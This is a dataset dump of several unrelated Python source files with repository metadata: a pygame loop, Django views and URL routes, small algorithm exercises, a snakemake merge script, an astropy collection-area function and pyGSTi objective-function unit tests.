stuff\n keys = pygame.key.get_pressed() #checking pressed keys\n if keys[pygame.K_UP]:\n sloth.py -= 5\n if keys[pygame.K_DOWN]:\n sloth.py += 5\n if keys[pygame.K_LEFT]:\n sloth.px -= 5\n if keys[pygame.K_RIGHT]:\n sloth.px += 5\n\n # Do other bits of logic for the game here\n frame_count += 1\n if frame_count % 100 == 0:\n t1 = time.clock()\n frame_rate = 100 / (t1-t0)\n t0 = t1\n\n # Completely redraw the surface, starting with background\n main_surface.fill((0, 200, 255))\n\n # Copy our image to the surface, at this (x,y) posn\n sloth.draw(main_surface)\n sloth.update(main_surface)\n\n # Make a new surface with an image of the text\n the_text = my_font.render(\"Frame = {0}, rate = {1:.2f} fps\"\n .format(frame_count, frame_rate), True, (0,0,0))\n # Copy the text surface to the main surface\n main_surface.blit(the_text, (10, 10))\n\n # Now that everything is drawn, put it on display!\n pygame.display.flip()\n\n pygame.quit()\n\nmain()","repo_name":"davidalanb/PA_home","sub_path":"Py/pygame/platform.py","file_name":"platform.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"428628921","text":"from django.conf import settings\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django_mako_plus import view_function\nfrom datetime import datetime\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom catalog import models as cmod\nfrom django import forms\nfrom .. import dmp_render, dmp_render_to_string\nfrom formlib.form import FormMixIn\n\n@view_function\n@login_required\n@permission_required('catalog.change_product')\ndef process_request(request):\n\n try:\n product = cmod.Product.objects.get(id=request.urlparams[0])\n except cmod.Products.DoesNotExist:\n return HttpResponseRedirect('/manager/products/')\n\n form = ProductEditForm(request, product=product, initial={\n 'name': product.name,\n 'category': product.category,\n 'price': product.price,\n 'description': product.description,\n 'quantity': getattr(product, 'quantity', 0),\n 'serial_number': getattr(product, 'serial_number', 0)\n })\n if form.is_valid():\n form.commit(product)\n return HttpResponseRedirect('/manager/products/')\n\n\n context = {\n 'product': product,\n 'form' : form,\n }\n return dmp_render(request, 'product.html', context)\n\n\nclass ProductEditForm(FormMixIn, forms.Form):\n form_id = 'edit_product_form'\n def init(self, product):\n self.fields['name'] = forms.CharField(label=\"Product Name\", max_length=\"100\")\n self.fields['category'] = forms.ModelChoiceField(label=\"Category\",\n queryset=cmod.Category.objects.order_by('name').all())\n self.fields['price'] = forms.DecimalField(label=\"Price\")\n self.fields['description'] = forms.CharField(label=\"Description\")\n if hasattr(product, 'quantity'):\n self.fields['quantity'] = forms.DecimalField(label=\"Quantity\")\n if hasattr(product, 'serial_number'):\n self.fields['serial_number'] = forms.CharField(label=\"Serial Number\")\n\n def commit(self, product):\n product.name = self.cleaned_data.get('name')\n product.category = self.cleaned_data.get('category')\n product.price = self.cleaned_data.get('price')\n product.description = self.cleaned_data.get('description')\n if hasattr(product, 'quantity'):\n product.quantity = self.cleaned_data.get('quantity')\n if hasattr(product, 'serial_number'):\n product.serial_number = self.cleaned_data.get('serial_number')\n product.save()\n return 4\n\n@view_function\n@permission_required('catalog.delete_product')\ndef delete(request):\n try:\n product = cmod.Product.objects.get(id=request.urlparams[0])\n except cmod.Products.DoesNotExist:\n return HttpResponseRedirect('/manager/products/')\n\n product.delete()\n return HttpResponseRedirect('/manager/products/')\n","repo_name":"koryhutchison/Fomo-Website","sub_path":"manager/views/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27897706485","text":"class Solution:\n def intersect(self, nums1: List[int], nums2: List[int]) -> List[int]:\n index1 = {}\n index2 = {}\n\n for num in nums1:\n if num not in index1:\n index1[num] = 0\n index1[num] += 1\n\n for num in nums2:\n if num not in index2:\n index2[num] = 0\n index2[num] += 1\n\n union = set(nums1 + nums2)\n\n intersection = []\n\n for num in union:\n if num in index1 and num in index2:\n if index1[num] == index2[num]:\n count = index1[num]\n else:\n count = min(index1[num], index2[num])\n intersection = intersection + list([num] * count)\n\n print(union)\n return intersection\n","repo_name":"konidev20/coding-excercises","sub_path":"top-interview-questions/easy/array/intersection-two-arrays-II.py","file_name":"intersection-two-arrays-II.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10921181123","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\nfrom .views import *\n\n\nrouter = DefaultRouter()\n\nrouter.register('faq', AdminFaqView)\nrouter.register('faq-category', AdminFaqCategoryView)\nrouter.register('feedbacks', AdminFeedbackMessageView)\n# router.register('users', AdminProfileView)\nrouter.register('loan-duration', AdminLoanDurationView)\nrouter.register('loan-transaction', AdminLoanTransactionView)\nrouter.register('saving-duration', AdminSavingDurationView)\nrouter.register('saving-transaction', AdminSavingTransactionView)\nrouter.register('available-investment', AdminAvailableInvestmentView)\n# router.register('investment-option', AdminInvestmentOptionView)\nrouter.register('investment-duration', AdminInvestmentDurationView)\nrouter.register('investment-specifiication', AdminInvestmentSpecificationView)\nrouter.register('general-setting', AdminGeneralSettingView)\nrouter.register('payment-gateway', AdminPaymentGatewayView)\nrouter.register('loan-setting', AdminLoanSettingView)\nrouter.register('saving-type', AdminSavingsTypeView)\n\nurlpatterns = [\n path('', AdminHomepage.as_view(), name='homepage'),\n path('users/', AdminProfileView.as_view(), name='user'),\n path('users//', AdminProfileView.as_view(), name='user-detail'),\n path('site/', AdminSiteView.as_view(), name='site'),\n path('investment-option/', AdminInvestmentOptionView.as_view(), name='investment-option'),\n path('investment-option//', AdminInvestmentOptionView.as_view(), name='investment-option-detail'),\n path('wallet/', AdminWalletView.as_view(), name='user-wallet'),\n path('wallet//', AdminWalletDetailView.as_view(), name='user-wallet-detail'),\n path('loan/', AdminLoanView.as_view(), name='loan'),\n path('loan//', AdminLoanDetailView.as_view(), name='loan-detail'),\n path('saving/', AdminSavingView.as_view(), name='saving'),\n path('saving//', AdminSavingView.as_view(), name='saving-detail'),\n path('investment/', AdminInvestmentView.as_view(), name='investment'),\n path('investment//', AdminInvestmentView.as_view(), name='investment-detail'),\n path('user-investment/', AdminUserInvestmentView.as_view(), name='user-investment'),\n path('user-investment//', AdminUserInvestmentDetailView.as_view(), name='user-investment-detail'),\n path('user-filter/', AdminUserFilterView.as_view(), name='user-filter'),\n path('group/', AdminGroupView.as_view(), name='group'),\n path('activity/', AdminActivityLog.as_view(), name='activity'),\n path('activity//', AdminActivityLogDetail.as_view(), name='activity-detail'),\n path('update-banks/', UpdateBankView.as_view(), name='update-banks'),\n\n path('notification/', AdminNotificationView.as_view(), name='admin-notification'),\n path('notification//', AdminNotificationView.as_view(), name='admin-notification-detail'),\n\n path('withdrawal/', AdminWithdrawalView.as_view(), name='admin-withdrawal'),\n path('withdrawal//', AdminWithdrawalView.as_view(), name='admin-withdrawal-detail'),\n\n path('investment-withdrawal/', InvestmentWithdrawalView.as_view(), name='investment-withdrawal'),\n path('investment-withdrawal//', InvestmentWithdrawalDetailView.as_view(), name='investment-withdrawal-detail'),\n # path('update-investment-withdrawal//', UpdateInvestmentWithdrawalView.as_view(),\n # name='update-investment-withdrawal'),\n\n # path('transfer/', TransferFundView.as_view(), name='transfer-fund'),\n # path('transfer//', TransferFundView.as_view(), name='transfer-fund'),\n]\n\nurlpatterns += router.urls\n\n","repo_name":"slojar/reincoso","sub_path":"superadmin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36281158734","text":"#!/usr/bin/env python3\n####################################################\n\t\t\t\t# @gsartonl\n\t\t\t\t# 08.06.2021\n####################################################\n\n############# combining outputs #############\n\n\ngapmind = snakemake.input['gapmind']\nKO = snakemake.input['KO']\nmacsyfinder = snakemake.input['macsyfinder']\npattern = snakemake.input['StrainPattern']\n\n\ndef hasHeaders(line, pattern) :\n\tif line.startswith(pattern) :\n\t\treturn(False)\n\telse :\n\t\treturn(True)\n\ndef readResultFiles(path) :\n\twith open (path, 'r') as results:\n\t\theader = results.readline()\n\t\tif hasHeaders(header, pattern)==True :\n\t\t\tmain = results.read()\n\t\t\treturn {'header' : header, 'main' : main}\n\t\telse :\n\t\t\tmain = header + results.read()\n\t\t\treturn {'main' : main}\n\ndef combineData (result1, result2, result3) :\n\theader = result1['header']\n\tdata = result1['main'] + result2['main'] + result3['main']\n\tmerged = header + data\n\treturn(merged)\n\nResultsGapmind = readResultFiles(gapmind)\nResultsKO = readResultFiles(KO)\nResultsMacsyfinder = readResultFiles(macsyfinder)\n\n\n\nif len(ResultsGapmind) == 2 :\n\tmerged = combineData(ResultsGapmind, ResultsKO, ResultsMacsyfinder)\n\nelif len(ResultsKO) == 2 :\n\tmerged = combineData(ResultsKO, ResultsMacsyfinder, ResultsGapmind)\n\nelif len(ResultsMacsyfinder) == 2 :\n\tmerged = combineData(ResultsMacsyfinder, ResultsGapmind, ResultsKO)\n\nelse :\n\theader = 'genome\\tpathway\\tsteps\\tpercentScore\\n'\n\tmain = ResultsGapmind['main'] + ResultsKO['main'] + ResultsMacsyfinder['main']\n\tmerged = header + main\n\nwith open(snakemake.output['all_scores'], 'w') as outputFile :\n\toutputFile.write(merged)\n","repo_name":"gsartonl/Publication_Sarton-Loheac_2022","sub_path":"Profiler/setup/scripts/pyCombineResults.py","file_name":"pyCombineResults.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19760800806","text":"import numpy as np\n\"\"\"\nSeção 5.1.4 do livro Deep Learning de Ian Goodfellow e Yoshua Bengio e Aaron Courville, \nutilizando equação 5.12.\n\n\"\"\"\n\n\nclass LinearRegression(object):\n def __init__(self):\n self.w = np.array([])\n self.is_fit = False\n\n def fit(self, X, y):\n X = np.insert(X, 0, 1, axis=1)\n Xt = np.transpose(X)\n left = np.linalg.inv(np.dot(Xt, X))\n right = np.dot(Xt, y)\n self.w = np.dot(left, right)\n self.is_fit = True\n return self\n\n def predict(self, X):\n X = np.insert(X, 0, 1, axis=1)\n print(X)\n if self.is_fit:\n return np.dot(np.transpose(self.w[0]), X)\n return None\n\n\ndef test(X, y, Xtest, Ytest):\n\n model = LinearRegression()\n model.fit(X, y)\n y_pred = model.predict(Xtest)\n print(y_pred - Ytest)\n\n\nX = np.array([[0.2], [0.6]])\ny = np.array([[1], [3]])\nXtest = np.array([[0.4]])\nYtest = np.array([[0.7]])\n\ntest(X, y, Xtest, Ytest)\n\n\n\n","repo_name":"matheusfsa/MachineLearning","sub_path":"estimators/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16825860079","text":"elves = []\n\nwith open('input.txt', 'r') as file:\n Lines = file.readlines()\n cals = 0\n for line in Lines:\n if line == \"\\n\":\n elves.append(cals)\n cals = 0\n else:\n cals += int(line)\n\n elves.append(cals)\n\npart1 = max(elves)\nelves.sort()\npart2 = sum(elves[-3:])\n\nprint(f\"Part1: {part1}\")\nprint(f\"Part2: {part2}\")","repo_name":"jusosojnik/AdventOfCode2022","sub_path":"1/1.1.py","file_name":"1.1.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73947020676","text":"import numpy as np\n\nfrom astropy.stats import binom_conf_interval\nimport astropy.units as u\n\nfrom scipy.ndimage.filters import gaussian_filter\n\n\ndef histograms(\n all_events,\n selected_events,\n bins,\n):\n '''\n Create histograms in the given bins for two vectors.\n\n Parameters\n ----------\n all_events: array-like\n Quantity which should be histogrammed for all simulated events\n selected_events: array-like\n Quantity which should be histogrammed for all selected events\n bins: int or array-like\n either number of bins or bin edges for the histogram\n returns: hist_all, hist_selected, bin_edges\n '''\n\n hist_all, bin_edges = np.histogram(\n all_events,\n bins=bins,\n )\n\n hist_selected, _ = np.histogram(\n selected_events,\n bins=bin_edges,\n )\n\n return hist_all, hist_selected, bin_edges\n\n\n@u.quantity_input(impact=u.meter)\ndef collection_area(\n all_events,\n selected_events,\n impact,\n bins,\n sample_fraction=1.0,\n smoothing=0,\n):\n '''\n Calculate the collection area for the given events.\n\n Parameters\n ----------\n all_events: array-like\n Quantity which should be histogrammed for all simulated events\n selected_events: array-like\n Quantity which should be histogrammed for all selected events\n bins: int or array-like\n either number of bins or bin edges for the histogram\n impact: astropy Quantity of type length\n The maximal simulated impact parameter\n sample_fraction: float\n The fraction of `all_events` that was analysed\n to create `selected_events`\n smoothing: float\n The amount of smoothing to apply to the resulting matrix\n '''\n\n hist_all, hist_selected, bin_edges = histograms(\n all_events,\n selected_events,\n bins,\n )\n\n hist_selected = (hist_selected / sample_fraction).astype(int)\n\n bin_width = np.diff(bin_edges)\n bin_center = 0.5 * (bin_edges[:-1] + bin_edges[1:])\n\n invalid = hist_selected > hist_all\n hist_selected[invalid] = hist_all[invalid]\n # use astropy to compute errors on that stuff\n lower_conf, upper_conf = binom_conf_interval(hist_selected, hist_all)\n\n # scale confidences to match and split\n lower_conf = lower_conf * np.pi * impact**2\n upper_conf = upper_conf * np.pi * impact**2\n\n area = (hist_selected / hist_all) * np.pi * impact**2\n\n if smoothing > 0:\n area = gaussian_filter(area.value, sigma=smoothing) * area.unit\n\n return area, bin_center, bin_width, lower_conf, upper_conf\n","repo_name":"fact-project/irf","sub_path":"irf/collection_area.py","file_name":"collection_area.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38830732663","text":"import numpy as np\n\nimport pygsti\nimport pygsti.objectivefns.objectivefns as _objfns\nfrom pygsti.objectivefns.wildcardbudget import PrimitiveOpsWildcardBudget as _PrimitiveOpsWildcardBudget\nfrom . import smqfixtures\nfrom ..util import BaseCase\nimport unittest\n\n\nclass ObjectiveFunctionData(object):\n \"\"\"\n Common data for objective function tests\n \"\"\"\n\n def setUp(self):\n self.model = smqfixtures.ns.datagen_model.copy()\n self.circuits = smqfixtures.ns.circuits\n self.dataset = smqfixtures.ns.dataset.copy()\n self.sparse_dataset = smqfixtures.ns.sparse_dataset.copy()\n self.perfect_dataset = smqfixtures.ns.perfect_dataset.copy()\n\n self.aliases = smqfixtures.ns.aliases.copy()\n self.alias_model = smqfixtures.ns.alias_datagen_model.copy()\n self.alias_circuits = smqfixtures.ns.alias_circuits\n\n\nclass ObjectiveFunctionUtilTester(ObjectiveFunctionData, BaseCase):\n \"\"\"\n Tests for functions in the objectivefns module.\n \"\"\"\n\n def test_objfn(self):\n fn = _objfns._objfn(_objfns.Chi2Function, self.model, self.dataset, self.circuits)\n self.assertTrue(isinstance(fn, _objfns.Chi2Function))\n\n fn = _objfns._objfn(_objfns.PoissonPicDeltaLogLFunction, self.model, self.dataset, self.circuits,\n regularization={'min_prob_clip': 1e-3}, penalties={'regularize_factor': 1.0})\n self.assertTrue(isinstance(fn, _objfns.PoissonPicDeltaLogLFunction))\n\n #Test with circuits=None\n fn = _objfns._objfn(_objfns.PoissonPicDeltaLogLFunction, self.model, self.dataset, None)\n self.assertEqual(list(fn.circuits), list(self.dataset.keys()))\n\n #Test with aliases\n fn = _objfns._objfn(_objfns.PoissonPicDeltaLogLFunction, self.alias_model, self.dataset,\n self.alias_circuits, op_label_aliases=self.aliases)\n self.assertTrue(isinstance(fn, _objfns.PoissonPicDeltaLogLFunction))\n\n\nclass ObjectiveFunctionBuilderTester(ObjectiveFunctionData, BaseCase):\n \"\"\"\n Tests for methods in the ObjectiveFunctionBuilder class.\n \"\"\"\n\n def test_create_from(self):\n builder1 = _objfns.ObjectiveFunctionBuilder.create_from('chi2')\n builder2 = _objfns.ObjectiveFunctionBuilder.cast(builder1)\n self.assertTrue(builder1 is builder2)\n\n builder3 = _objfns.ObjectiveFunctionBuilder.cast('chi2')\n builder4 = _objfns.ObjectiveFunctionBuilder.cast({'objective': 'chi2', 'freq_weighted_chi2': True})\n builder5 = _objfns.ObjectiveFunctionBuilder.cast((_objfns.Chi2Function, 'name', 'description',\n {'min_prob_clip_for_weighting': 1e-4}))\n\n fn = builder3.build(self.model, self.dataset, self.circuits)\n self.assertTrue(isinstance(fn, _objfns.Chi2Function))\n\n fn = builder4.build(self.model, self.dataset, self.circuits)\n self.assertTrue(isinstance(fn, _objfns.FreqWeightedChi2Function))\n\n fn = builder5.build(self.model, self.dataset, self.circuits)\n self.assertTrue(isinstance(fn, _objfns.Chi2Function))\n\n def test_simple_builds(self):\n for objective in ('logl', 'chi2', 'tvd'):\n builder = _objfns.ObjectiveFunctionBuilder.create_from(objective)\n fn = builder.build(self.model, self.dataset, self.circuits)\n self.assertTrue(isinstance(fn, builder.cls_to_build))\n\n builder = _objfns.ObjectiveFunctionBuilder.create_from('chi2', True)\n fn = builder.build(self.model, self.dataset, self.circuits)\n self.assertTrue(isinstance(fn, builder.cls_to_build))\n\n\nclass RawObjectiveFunctionTesterBase(object):\n \"\"\"\n Tests for methods in the RawObjectiveFunction class.\n \"\"\"\n\n @staticmethod\n def build_objfns(cls):\n raise NotImplementedError()\n\n @classmethod\n def setUpClass(cls):\n cls.objfns = cls.build_objfns(cls)\n cls.perfect_probs = np.array([0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0], 'd')\n cls.counts = np.array([0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100], 'd')\n cls.totalcounts = np.array([100] * len(cls.counts), 'd')\n cls.freqs = cls.counts / cls.totalcounts\n\n cls.probs = np.array([0.05, 0.05, 0.25, 0.25, 0.45, 0.45, 0.65, 0.65, 0.85, 0.85, 0.95], 'd') # \"good\" probs\n cls.bad_probs = np.array([1.1, 1.0, 0.8, 0.7, 0.6, 0.5, 0.4, 0.3, 0.2, 0.0, -0.1], 'd')\n\n def test_value(self):\n for objfn in self.objfns:\n fn = objfn.fn(self.probs, self.counts, self.totalcounts, self.freqs)\n terms = objfn.terms(self.probs, self.counts, self.totalcounts, self.freqs)\n self.assertAlmostEqual(fn, sum(terms))\n\n if self.computes_lsvec:\n lsvec = objfn.lsvec(self.probs, self.counts, self.totalcounts, self.freqs)\n self.assertArraysAlmostEqual(terms, lsvec**2)\n\n def test_derivative(self):\n for objfn in self.objfns:\n jac = objfn.jacobian(self.probs, self.counts, self.totalcounts, self.freqs)\n dterms = objfn.dterms(self.probs, self.counts, self.totalcounts, self.freqs)\n\n eps = 1e-7\n fd_dterms = (objfn.terms(self.probs + eps, self.counts, self.totalcounts, self.freqs)\n - objfn.terms(self.probs, self.counts, self.totalcounts, self.freqs)) / eps\n norm = np.maximum(np.abs(dterms), 1e-2) * dterms.size # normalize so test per-element *relative* error\n self.assertArraysAlmostEqual(jac, dterms) # the same b/c dterms assumes term_i only depends on p_i\n self.assertArraysAlmostEqual(dterms / norm, fd_dterms / norm, places=4) # compare with finite-difference\n\n if self.computes_lsvec:\n lsvec = objfn.lsvec(self.probs, self.counts, self.totalcounts, self.freqs)\n dlsvec = objfn.dlsvec(self.probs, self.counts, self.totalcounts, self.freqs)\n dlsvec_chk, lsvec_chk = objfn.dlsvec_and_lsvec(self.probs, self.counts, self.totalcounts, self.freqs)\n\n fd_dlsvec = (objfn.lsvec(self.probs + eps, self.counts, self.totalcounts, self.freqs) - lsvec) / eps\n\n norm = np.maximum(np.abs(dlsvec), 1e-2) * dlsvec.size # normalize so test per-element *relative* error\n self.assertArraysAlmostEqual(lsvec, lsvec_chk)\n self.assertArraysAlmostEqual(dlsvec, dlsvec_chk)\n self.assertArraysAlmostEqual(dlsvec / norm, fd_dlsvec / norm,\n places=4) # compare with finite-difference\n self.assertArraysAlmostEqual(dterms, 2 * lsvec * dlsvec) # d(terms) = d(lsvec**2) = 2*lsvec*dlsvec\n\n def test_hessian(self):\n for objfn in self.objfns:\n try:\n jac = objfn.hessian(self.probs, self.counts, self.totalcounts, self.freqs).copy()\n hterms = objfn.hterms(self.probs, self.counts, self.totalcounts, self.freqs).copy()\n except NotImplementedError:\n continue # ok if hterms is not always implemented\n\n eps = 1e-7\n fd_hterms = (objfn.dterms(self.probs + eps, self.counts, self.totalcounts, self.freqs).copy()\n - objfn.dterms(self.probs, self.counts, self.totalcounts, self.freqs).copy()) / eps\n norm = np.maximum(np.abs(hterms), 1e-2) * hterms.size # normalize so test per-element *relative* error\n self.assertArraysAlmostEqual(jac, hterms) # the same b/c dterms assumes term_i only depends on p_i\n self.assertArraysAlmostEqual(hterms / norm, fd_hterms / norm, places=4) # compare with finite-difference\n\n if self.computes_lsvec:\n lsvec = objfn.lsvec(self.probs, self.counts, self.totalcounts, self.freqs).copy()\n dlsvec = objfn.dlsvec(self.probs, self.counts, self.totalcounts, self.freqs).copy()\n hlsvec = objfn.hlsvec(self.probs, self.counts, self.totalcounts, self.freqs).copy()\n fd_hlsvec = (objfn.dlsvec(self.probs + eps, self.counts, self.totalcounts, self.freqs) - dlsvec) / eps\n\n norm = np.maximum(np.abs(hlsvec), 1e-2) * hlsvec.size # normalize so test per-element *relative* error\n self.assertArraysAlmostEqual(hlsvec / norm, fd_hlsvec / norm,\n places=4) # compare with finite-difference\n\n self.assertArraysAlmostEqual(hterms, 2 * (dlsvec**2 + lsvec * hlsvec))\n # h(terms) = 2 * (dsvec**2 + lsvec * hlsvec)\n\n\nclass RawChi2FunctionTester(RawObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n\n @staticmethod\n def build_objfns(cls):\n resource_alloc = {'mem_limit': None, 'comm': None}\n return [_objfns.RawChi2Function({'min_prob_clip_for_weighting': 1e-6}, resource_alloc)]\n\n\nclass RawChiAlphaFunctionTester(RawObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n\n @staticmethod\n def build_objfns(cls):\n resource_alloc = {'mem_limit': None, 'comm': None}\n return [_objfns.RawChiAlphaFunction({'pfratio_stitchpt': 0.1, 'pfratio_derivpt': 0.1, 'fmin': 1e-4},\n resource_alloc),\n _objfns.RawChiAlphaFunction({'pfratio_stitchpt': 0.1, 'pfratio_derivpt': 0.1, 'radius': 0.001},\n resource_alloc)]\n\n def test_hessian(self):\n self.skipTest(\"Hessian for RawChiAlphaFunction isn't implemented yet.\")\n\n\nclass RawFreqWeightedChi2FunctionTester(RawObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n\n @staticmethod\n def build_objfns(cls):\n resource_alloc = {'mem_limit': None, 'comm': None}\n return [_objfns.RawFreqWeightedChi2Function({'min_freq_clip_for_weighting': 1e-4}, resource_alloc)]\n\n\nclass RawPoissonPicDeltaLogLFunctionTester(RawObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n\n @staticmethod\n def build_objfns(cls):\n resource_alloc = {'mem_limit': None, 'comm': None}\n return [_objfns.RawPoissonPicDeltaLogLFunction({'min_prob_clip': 1e-6, 'radius': 0.001}, resource_alloc),\n _objfns.RawPoissonPicDeltaLogLFunction({'min_prob_clip': None, 'radius': None, 'pfratio_stitchpt': 0.1,\n 'pfratio_derivpt': 0.1, 'fmin': 1e-4}, resource_alloc)]\n\n\nclass RawDeltaLogLFunctionTester(RawObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = False\n\n @staticmethod\n def build_objfns(cls):\n resource_alloc = {'mem_limit': None, 'comm': None}\n return [_objfns.RawDeltaLogLFunction({'min_prob_clip': 1e-6}, resource_alloc),\n _objfns.RawDeltaLogLFunction({'min_prob_clip': None, 'pfratio_stitchpt': 0.1, 'pfratio_derivpt': 0.1},\n resource_alloc)]\n\n\nclass RawMaxLogLFunctionTester(RawObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = False\n\n @staticmethod\n def build_objfns(cls):\n resource_alloc = {'mem_limit': None, 'comm': None}\n return [_objfns.RawMaxLogLFunction({}, resource_alloc)]\n\n\nclass RawTVDFunctionTester(RawObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n\n @staticmethod\n def build_objfns(cls):\n resource_alloc = {'mem_limit': None, 'comm': None}\n return [_objfns.RawTVDFunction({}, resource_alloc)]\n\n def test_derivative(self):\n self.skipTest(\"Derivatives for RawTVDFunction aren't implemented yet.\")\n\n def test_hessian(self):\n self.skipTest(\"Derivatives for RawTVDFunction aren't implemented yet.\")\n\n\nclass TimeIndependentMDSObjectiveFunctionTesterBase(ObjectiveFunctionData):\n \"\"\"\n Tests for methods in the TimeIndependentMDSObjectiveFunction class.\n \"\"\"\n\n @staticmethod\n def build_objfns(cls):\n raise NotImplementedError()\n\n @classmethod\n def setUpClass(cls):\n cls.penalty_dicts = [\n {'prob_clip_interval': (-100.0, 100.0)},\n {'regularize_factor': 1e-2},\n {'cptp_penalty_factor': 1.0},\n {'spam_penalty_factor': 1.0},\n ]\n\n def setUp(self):\n super().setUp()\n self.objfns = self.build_objfns()\n\n def test_builder(self):\n #All objective function should be of the same type\n cls = self.objfns[0].__class__\n builder = cls.builder(\"test_name\", \"test_description\")\n self.assertTrue(isinstance(builder, _objfns.ObjectiveFunctionBuilder))\n\n def test_value(self):\n for objfn in self.objfns:\n terms = objfn.terms().copy()\n\n if self.computes_lsvec:\n lsvec = objfn.lsvec().copy()\n self.assertArraysAlmostEqual(lsvec**2, terms)\n\n def test_derivative(self):\n for objfn in self.objfns:\n dterms = objfn.dterms().copy()\n\n eps = 1e-7\n fd_dterms = np.zeros(dterms.shape, 'd')\n v0 = self.model.to_vector()\n terms0 = objfn.terms(v0).copy()\n for i in range(len(v0)):\n v1 = v0.copy(); v1[i] += eps\n fd_dterms[:, i] = (objfn.terms(v1) - terms0) / eps\n nEls = dterms.size\n self.assertArraysAlmostEqual(dterms / nEls, fd_dterms / nEls,\n places=3) # each *element* should match to 3 places\n\n if self.computes_lsvec:\n lsvec = objfn.lsvec().copy()\n dlsvec = objfn.dlsvec().copy()\n self.assertArraysAlmostEqual(dterms / nEls, 2 * lsvec[:, None] * dlsvec / nEls,\n places=4) # each *element* should match to 4 places\n\n def test_approximate_hessian(self):\n if not self.enable_hessian_tests:\n return # don't test the hessian for this objective function\n\n for objfn in self.objfns:\n hessian = objfn.approximate_hessian()\n #TODO: how to verify this hessian?\n\n def test_hessian(self):\n if not self.enable_hessian_tests:\n return # don't test the hessian for this objective function\n\n for objfn in self.objfns:\n try:\n hessian = objfn.hessian().copy()\n except NotImplementedError:\n continue # ok if hessian is not always implemented\n\n self.assertEqual(hessian.shape, (self.model.num_params, self.model.num_params))\n\n eps = 1e-7\n fd_hessian = np.zeros(hessian.shape, 'd')\n v0 = self.model.to_vector()\n summed_dterms0 = np.sum(objfn.dterms(v0).copy(), axis=0) # a 1D array of 1st derivs\n for i in range(len(v0)):\n v1 = v0.copy(); v1[i] += eps\n summed_dterms1 = np.sum(objfn.dterms(v1).copy(), axis=0)\n fd_hessian[:, i] = (summed_dterms1 - summed_dterms0) / eps\n norm = np.maximum(np.abs(hessian), 1e-2) * hessian.size\n self.assertArraysAlmostEqual(hessian / norm, fd_hessian / norm, places=3)\n\n\nclass Chi2FunctionTester(TimeIndependentMDSObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n enable_hessian_tests = False\n\n def build_objfns(self):\n return [_objfns.Chi2Function.create_from(self.model, self.dataset, self.circuits, None, penalties, method_names=('terms', 'dterms'))\n for penalties in self.penalty_dicts]\n\n\nclass ChiAlphaFunctionTester(TimeIndependentMDSObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n enable_hessian_tests = False\n\n def build_objfns(self):\n return [_objfns.ChiAlphaFunction.create_from(self.model, self.dataset, self.circuits, {'fmin': 1e-4}, None, method_names=('terms', 'dterms'))]\n\n\nclass FreqWeightedChi2FunctionTester(TimeIndependentMDSObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n enable_hessian_tests = False\n\n def build_objfns(self):\n return [_objfns.FreqWeightedChi2Function.create_from(self.model, self.dataset, self.circuits, None, None, method_names=('terms', 'dterms'))]\n\n\nclass PoissonPicDeltaLogLFunctionTester(TimeIndependentMDSObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n enable_hessian_tests = True\n\n def build_objfns(self):\n return [_objfns.PoissonPicDeltaLogLFunction.create_from(self.model, self.dataset, self.circuits,\n None, penalties, method_names=('terms', 'dterms', 'hessian'))\n for penalties in self.penalty_dicts]\n\n\nclass DeltaLogLFunctionTester(TimeIndependentMDSObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = False\n enable_hessian_tests = False\n\n def build_objfns(self):\n return [_objfns.DeltaLogLFunction.create_from(self.model, self.dataset, self.circuits, None, None, method_names=('terms', 'dterms'))]\n\n\nclass MaxLogLFunctionTester(TimeIndependentMDSObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = False\n enable_hessian_tests = False\n\n def build_objfns(self):\n return [_objfns.MaxLogLFunction.create_from(self.model, self.dataset, self.circuits, None, None, method_names=('terms', 'dterms'))]\n\n\nclass TVDFunctionTester(TimeIndependentMDSObjectiveFunctionTesterBase, BaseCase):\n computes_lsvec = True\n enable_hessian_tests = False\n\n def build_objfns(self):\n return [_objfns.TVDFunction.create_from(self.model, self.dataset, self.circuits, None, None, method_names=('terms', 'dterms'))]\n\n def test_derivative(self):\n self.skipTest(\"Derivatives for TVDFunction aren't implemented yet.\")\n\n\nclass TimeDependentMDSObjectiveFunctionTesterBase(ObjectiveFunctionData):\n \"\"\"\n Tests for methods in the TimeDependentMDSObjectiveFunction class.\n \"\"\"\n\n @staticmethod\n def build_objfns(cls):\n raise NotImplementedError() \n\n 